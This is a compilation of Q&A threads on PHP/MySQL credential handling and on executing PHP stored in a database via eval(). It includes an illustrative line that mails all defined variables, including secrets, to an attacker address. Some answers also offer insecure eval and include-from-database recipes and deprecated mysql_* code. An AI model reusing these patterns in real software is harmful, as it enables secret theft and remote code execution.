mysql/php is this a secure way to connect to mysql DB? - php

Ok , so many people are asking this question, and there are many approaches on how to make the connection to DB secure,
Now I did some googling , many suggest, putting the connection to DB code in a file outside the html_public , and to call it from there when I need to make a connection.
to be honest, am happy with what I have, though I'm not sure how secure it is,
this is how I connect to the DB:
first, I make sure all inputs are fully escaped and validated...
after , in the same page , i make the connection, for example:
mysql_connect("localhost","Admin","Password") or
die ("DB Connection Error");
mysql_select_db("Users") or die ("DB Error");
and the rest of the code after, I close the mysql connection.
Now , It just don't feel right that the DB user info are written in the page, but how can someone (a "hacker") , get this info?
I mean , all inputs are fully escaped and validated, the users I use have very limited previleges, like select and update... only.
Is this secure?? and if not, can u please suggest a more secure way?
Thank you very much for ur help in advance :)
shady

The reason you should consider putting this file outside the web root is that some hosting providers have temporarily stopped interpreting PHP from time to time (due to configuration faults, often after an update on their part). The code will then get sent in clear text and the password will be out in the wild.
Consider this directory structure, where public_html is the web root:
/include1.php
/public_html/index.php
/public_html/includes/include0.php
Now consider this index.php:
<?php
include('includes/include0.php');
do_db_work_and_serve_page_to_visitor();
?>
If the web server starts serving this file in the open, it won't take long before someone tries to download include0.php. Nobody will be able to download include1.php, however, because it's outside the web root and therefore never handled by the web server.

I've personally not heard of a hosting provider not interpreting PHP, leading to your php source code going public. I just did a quick test on this on a RHEL5-Based server without php installed, and just got back a blank page when trying to access a php document.
mysql_* functions have become deprecated with the latest releases of php, and are now moving towards mysqli, as an overall more efficient and secure solution; I'd recommend taking a look into that; http://php.net/manual/en/book.mysqli.php - there's no deprecation errors or anything of the sort yet in PHP5.4 for using plain mysql_ functions, but if you're looking to keep on top of things, take a look into mysqli.
As for a quick answer to your above question, to be honest, I'd see that method as reasonably secure. Just make sure you've got escape chars etc set up, and I don't think you'll run into any issues.
Edit: Some people have posted that in very rare cases, some providers can leak your php source code in this manner. If this is the case, my first advice would be to switch provider.. but using an include_once to load your db info from another php file/lib would be a quick workaround for this. But again, if your provider's setup does allow for leaks such as these, I would be more concerned about their security than yours.
You can have php grab your DB password from a text file stored outside of the public webspace (using fopen), but I personally don't see any real reason for doing this.
Best of luck!
Eoghan

The best pratice is to use PHP PDO instead of the old mysql API.
Take a look: http://php.net/manual/en/ref.pdo-mysql.connection.php
Also, here's an interesting article: http://net.tutsplus.com/tutorials/php/why-you-should-be-using-phps-pdo-for-database-access/

Related

executing code from database

I have a PHP code stored in the database, I need to execute it when retrieved.
But my code is a mix of HTML and PHP, mainly used in echo "";
A sample that looks like my code:
echo "Some Text " . $var['something'] . " more text " . $anotherVar['something2'];
How can I execute a code like the either if I add the data to the DB with echo""; or without it.
Any ideas?
UPDATE:
I forgot to mention, I'm using this on a website that will be used on intranet and security will be enforced on the server to ensure data safety.
I have a PHP code stored in the database
STOP now.
Move the code out of the database.
And never mix your code with data again.
It's not only a bad idea but also invitation to several type of hacking attempts.
You can do with eval(). but never use it . The eval() is very dangerous because it allows execution of arbitrary PHP code. Its use thus is discouraged. If you have carefully verified that there is no other option than to use this construct, pay special attention not to pass any user provided data into it without properly validating it beforehand.
See eval. It lets you pass a string containing PHP and run it as if you'd written it directly into your file.
It's not a common practice to store executable PHP in a database; is the code you store really that different that it makes more sense to maintain many copies of it rather than adapting it to do the same thing to static data in the database? The use of eval is often considered bad practice as it can lead to problems with maintenance, if there's a way of avoiding it, it's normally worth it.
You can execute code with eval():
$code_str = "echo 'Im executed'";
eval($code_str );
BUT PAY ATTENTION that this is not safe: if someone will get access on your database he will be able to execute any code on your server
use the eval() function.
heres some info
http://www.php.net/manual/en/function.eval.php
something along the lines of:
eval($yourcode);
If that is the last resort, you want it to be secure as it will evaluate anything and hackers love that. Look into Suhosin or other paths to secure this in production.
As everyone'd indicated using eval() is a bad approach for your need. But you can have almost the same result by using whitelist approach.
Make a php file , db_driven_functions.php for instance. get your data from db. and map them in an array as below
//$sql_fn_parameters[0] = function name
//$sql_fn_parameters[1,2,3.....] = function parameters
Then define functions those include your php code blocks.for instance
my_echo($sql_fn_parameters){
echo $sql_fn_parameters[1];//numbered or assoc..
}
then pull the data which contains function name
after controlling if that function is defined
function_exists("$sql_fn_parameters[0]")
call function
call_user_func_array() or call_user_func()
( any you may also filter parameters array $sql_sourced_parameters_array does not contain any risky syntaxes for more security.)
And have your code controlled from db without a risk.
seems a little bit long way but after implementing it's really a joy to use an admin panel driven php flow.
BUT building a structure like this with OOP is better in long term. (Autoloading of classes etc. )
Eval is not safe obviously.
The best route IMO
Save your data in a table
Run a stored procedure when you are ready to grab and process that data
You should not abuse the database this way. And in general, dynamic code execution is a bad idea. You could employ a more elegant solution to this problem using template engines like Smarty or XSLT.
There are a few way to achieve this:
1) By using evil
eval($data);
That's not a typo, eval is usually considered evil and for good reasons. If you think you have fully validated user data to safely use eval, you are likely wrong, and have given a hacker full access to your system. Even if you only use eval for your own data, hacking the database is now enough to gain full access to everything else. It's also a nightmare to debug code used in eval.
2) Save the data to a file, then include it
file_put_contents($path, $data); include $path;
There are still the same security concerns as eval but at least this time the code is easier to debug. You can even test the code before executing it, eg:
if (strpos(exec('php -l '.$path), 'No syntax errors detected') === false))
{
include $path;
}
The downside to this method, is the extra overhead involved in saving the code.
3) Execute the code straight from the database.
You'd need to use database software that allows this. As far as I am aware, this is only includes database software that stores the content as text files. Having database software with "php eval" built in would not be a good thing. You could try txt-db-api. Alternatively, you could write your own. It would like become very difficult to maintain if you do though but is something to consider if you know exactly how you want your data to be structured and are unlikely to change your mind later.
This could save a lot of overhead and have many speed benefits. It likely won't though. Many types of queries run way faster using a traditional database because they are specifically designed for that purpose. If there's a possibility of trying to write to a file more than once at the same time, then you have to create a locking method to handle that.
4) Store php code as text files outside of the database
If your database contains a lot of data that isn't php code, why even store the php code in the database? This could save a lot of overhead, and if you're database is hacked, then it may no longer be enough to gain full access to your system.
Some of the security considerations
Probably more than 99% of the time, you shouldn't even be attempting to do what you are doing. Maybe you have found an exception though, but just being an intranet, isn't enough, and certainly doesn't mean it's safe to ignore security practices. Unless everyone on the intranet needs full admin access, they shouldn't be able to get it. It's best for everyone to have the minimum privileges necessary. If one machine does get hacked, you don't want the hacker to have easy access to everything on the entire intranet. It's likely the hacker will hide what they are doing and will introduce exploits to later bypass your server security.
I certainly need to do this for the CMS I am developing. I'm designing it mainly to produce dynamic content, not static content. The data itself is mostly code. I started off with simple text files, however it slowly evolved into a complicated text file database. It's very fast and efficient, as the only queries I need are very simply and use indexing. I am now focusing on hiding the complexity from myself and making it easy to maintain with greater automation. Directly writing php code or performing admin tasks requires a separate environment with Superuser access for only myself. This is only out of necessity though, as I manage my server from within, and I have produced my own debugging tools and made an environment for code structured a specific way that hides complexity. Using a traditional code editor, then uploading via ssh would now be too complicated to be efficient. Clients will only be able to write php code indirectly though and I have to go to extreme lengths to make that possible, just to avoid the obvious security risks. There are not so obvious ones too. I've had to create an entire framework called Jhp and every piece of code, is then parsed into php. Every function has to pass a whitelist, is renamed or throws an error, and every variable is renamed, and more. Without writing my own parser and with just a simple blacklist, it would never be even a tiny bit secure. Nothing whatsoever client-side can be trusted, unless I can confirm on every request that it has come entirely from myself, and even then my code error checks before saving so I don't accidentally break my system, and just in case I still do, I have another identical environment to fix it with, and detailed error information in the console that even works for fatal errors, whilst always been hidden from the public.
Conclusion
Unless you go to the same lengths I have (at minimum), then you will probably just get hacked. If you are sure that it is worth going to those lengths, then maybe you have found an exception. If your aim is to produce code with code, then the data is always going to be code and it cannot be separated. Just remember, there are a lot more security considerations other than what I have put in this answer and unless the entire purpose of what you are doing makes this a necessity, then why bother at all mix data with code?

Is storing PHP code in a database, and eval()ing it at runtime, insecure?

I've built a program that stores, retrieves, and eval()s code from a SQLite database.
Before I get jumped for my bad coding practices, let's just treat this as a theoretical and pretend that I have a good reason for doing so.
All other considerations aside, and assuming that user input is not a factor, is there a security risk inherent in storing PHP code in a DB and running it with eval()?
Clarifications:
I am not eval()ing user-submitted content.
The SQLite DB file is in the same directory, and has the same security applied to it, as the rest of my files.
Please no comments on performance, caching, etc. I'm aware of all that.
eval() in itself is not inscure. It's just bad practice, unclear and opens up for a whole bunch of bugs and security related issues.
Even if user-submitted data isn't being stored in your database, you're still providing a way to have code stored in the database be executed even if you didn't put that code there. If someone were to gain access to your database server, they could potentially do worse things than drop your database by modifying the code it stores, like deleting any files that the PHP script has write access to.
Yes. If I can inject something into your database then I could possibly execute it on your server through the eval.
Are you trying to use the database as a hashtable of functions? So you can call a piece of code depending on some key evaluation. The security problem I see here, is the database may have other API exposed somewhere to populate it. Without you knowing/explicitly doing it, some key,value pair may be introduced in the database. If you used a hashtable of function instead, someone need to make a commit in your code repository to change a function. So now you need to protect the DB as good as your code's repository.
You're letting the database run any PHP code it wants as whatever user the PHP is running as. Of course this is insecure.
eval() is not inherently insecure. But it's secure only as far as the code it evaluates is safe. So we could come up with an example of code that does something bad, suppose that there's some way that code got stored in your database, and boom.
Code that is stored elsewhere is not part of your project, not code-reviewed, not tracked in git, and not unit-tested. The code is basically not evaluated from a security perspective, so there's no assurance of security. In other words, from a Quality Assurance perspective, it's a weak quality plan, since code security is part of code quality.
Anyone with access to your database can modify code, and then that code is executed, I assume without any review. The code has no access restrictions; it can reference and even modify variables within the application that calls it. So the question is how is the code in your database changed? Who has access? What is the code review process? What is the testing process?
In addition to SQL injection that could change the PHP code in the database illicitly, there's also the security of whatever authentication you use for users before they can make authorized changes to the code. I'm supposing your app has some interface for changing code in the database through a web interface.
You asked for evidence, by which I guess you want an example of code that could do something bad if it were evaluated.
If I can arrange for something like the following code to be stored in your database, and eval() that code, I can get a lot of information about your application. E.g. your database password, your authentication methods, the version of the framework you use... all sorts of things.
mail('attacker#example.com', 'Mwa ha ha', print_r(get_defined_vars(), true));
There are similar functions like get_defined_functions() too. Or even return its own source code with open(__FILE__). An attacker can quickly learn where there are other exploitable security holes in your code.
And then there are various ways PHP code can get information about your server, or make changes to your server. Combine eval() with code that uses exec() and you can run any command on the server. At least it's running under the uid the http server runs as -- which I hope is not root.

Beginner question on mySQL and PHP to avoid connecting to DB on every page

I code a simple php/mysql web page, that there is page1.php, page2.php and so on. Because I make use of the database on every page (or at least the 90% of them) I place on the top of them the standard
mysql_connect("localhost"," "," ");
mysql_select_db(" ");
.
.
mysql_close();
with my queries.
My question is do I really need to connect to the database on each page or is there any way to avoid this and still stay connected? Some of the pages are linked to the others and I can make use of SESSIONS to post some variables, but my question goes to something more globalized.
The web works in a disconnected state by nature. Meaning that you have no idea if the client is going to come back for a second request or not.
Regardless you absolutely want to connect/disconnect from the database on every single page. This is the only way to ensure you aren't leaking connections and the site can stay responsive.
Most systems have built in ways to handle connection pooling which makes the act of requesting a new connection very very fast and therefore something you don't have to worry about.
You can use mysql_pconnect for a persistent connection, although its not going to help you that much and it can be a big pain to do properly. Its almost just better to connect on every page, especially if the database server is running on the same machine as the php server.
Try using
mysql_pconnect()
From PHP.net
"acts very much like mysql_connect() with two major differences.
First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, username and password. If one is found, an identifier for it will be returned instead of opening a new connection.
Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (mysql_close() will not close links established by mysql_pconnect())."
If you just want to make it so that you don't have to hard code it into the top of every file write the connection code in a file then use require /path/to/file/name.php and it will establish it everytime Note: it might be include and not require.

Should I Make Database Connection With PHP Includes

I've been told that it is unsecure to make database connections inside a PHP includes. For example If I have a login page and add an "include('process.php')" at the top of the page that has a database connection, is that unsecure?
For example If I have a login page and add an "include('process.php')" at the top of the page that has a database connection, is that unsecure?
No.
Maybe the person who told you this was talking about something else - like including a file using a dynamic value coming from a GET parameter, or using remote http:// includes, or as #AlienWebguy mentions, having the password include inside the web root. But using includes in itself is not insecure.
It's only insecure if you are storing your passwords literally in your PHP files. They should be declared outside of the web root. That being said, the lack of security is not due to the use of the include() function.
In and of itself, no, it is not insecure. How it's implemented inside the include is of course a different story.
That's the way I've always done it. I make sure that the include is in a different directory that has open permisions and that the directory your writing in has locked permisions. Hopefully that makes sense.
This question is way too broad to get a good answer from anyone. Short answer is no, there's nothing inherently insecure about including a file that connects to a database. However, if you write code that isn't written properly, then yes it may be insecure to do this.
Since using "include('process.php')" is exactly the same as pasting 'process.php' into the code of the other file, that should not be, per se, a security issue. The insecurity could be in your code, not in the fact the you use the "include". In fact, it could maybe improve the safety of your code, due the reuse.

How do I execute PHP that is stored in a MySQL database?

I'm trying to write a page that calls PHP that's stored in a MySQL database. The page that is stored in the MySQL database contains PHP (and HTML) code which I want to run on page load.
How could I go about doing this?
You can use the eval command for this. I would recommend against this though, because there's a lot of pitfalls using this approach. Debugging is hard(er), it implies some security risks (bad content in the DB gets executed, uh oh).
See When is eval evil in php? for instance. Google for Eval is Evil, and you'll find a lot of examples why you should find another solution.
Addition: Another good article with some references to exploits is this blogpost. Refers to past vBulletin and phpMyAdmin exploits which were caused by improper Eval usage.
Easy:
$x // your variable with the data from the DB
<?php echo eval("?>".$x."<?") ?>
Let me know, works great for me in MANY applications, can't help but notice that everyone is quick to say how bad it is, but slow to actually help out with a straight answer...
eval() function was covered in other responses here. I agree you should limit use of eval unless it is absolutely needed. Instead of having PHP code in db you could have just a class name that has method called, say, execute(). Whenever you need to run your custom PHP code just instantiate the class of name you just fetched from db and run ->execute() on it. It is much cleaner solution and gives you great field of flexibility and improves site security significantly.
You can look at the eval function in PHP. It allows you to run arbitrary PHP code. It can be a huge security risk, though, and is best avoided.
Have you considered using your Source Control system to store different forks for the various installations (and the modules that differ among them)? That would be one of several best practices for application configuration I can think of. Yours is not an unusual requirement, so it's a problem that's been solved by others in the past; and storing code in a database is one I think you'd have a hard time finding reference to, or being advised as a best practice.
Good thing you posted the clarification. You've probably unintentionally posed an answer in search of a suitable question.
Read php code from database and save to file with unique name and then include file
this easy way for run php code and debug it.
$uniqid="tmp/".date("d-m-Y h-i-s").'_'.$Title."_".uniqid().".php";
$file = fopen($uniqid,"w");
fwrite($file,"<?php \r\n ".$R['Body']);
fclose($file);
// eval($R['Body']);
include $uniqid;
How I did this is to have a field in the database that identified something unique about the block of code needing to be executed. That one word is in the file name of that code. I put the strings together to point to the php file to be included. example:
$lookFor = $row['page'];
include("resources/" . $lookFor . "Codebase.php");
In this way even if a hacker could access you DB he couldn't put malicious code straight in there to be executed. He could perhaps change the reference word, but unless he could actually put a file directly onto the server it would do him no good. If he could put files directly onto the server, you're sunk then anyway if he really wants to be nasty. Just my two cents worth.
And yes, there are reasons you would want to execute stored code, but there are cons.

Categories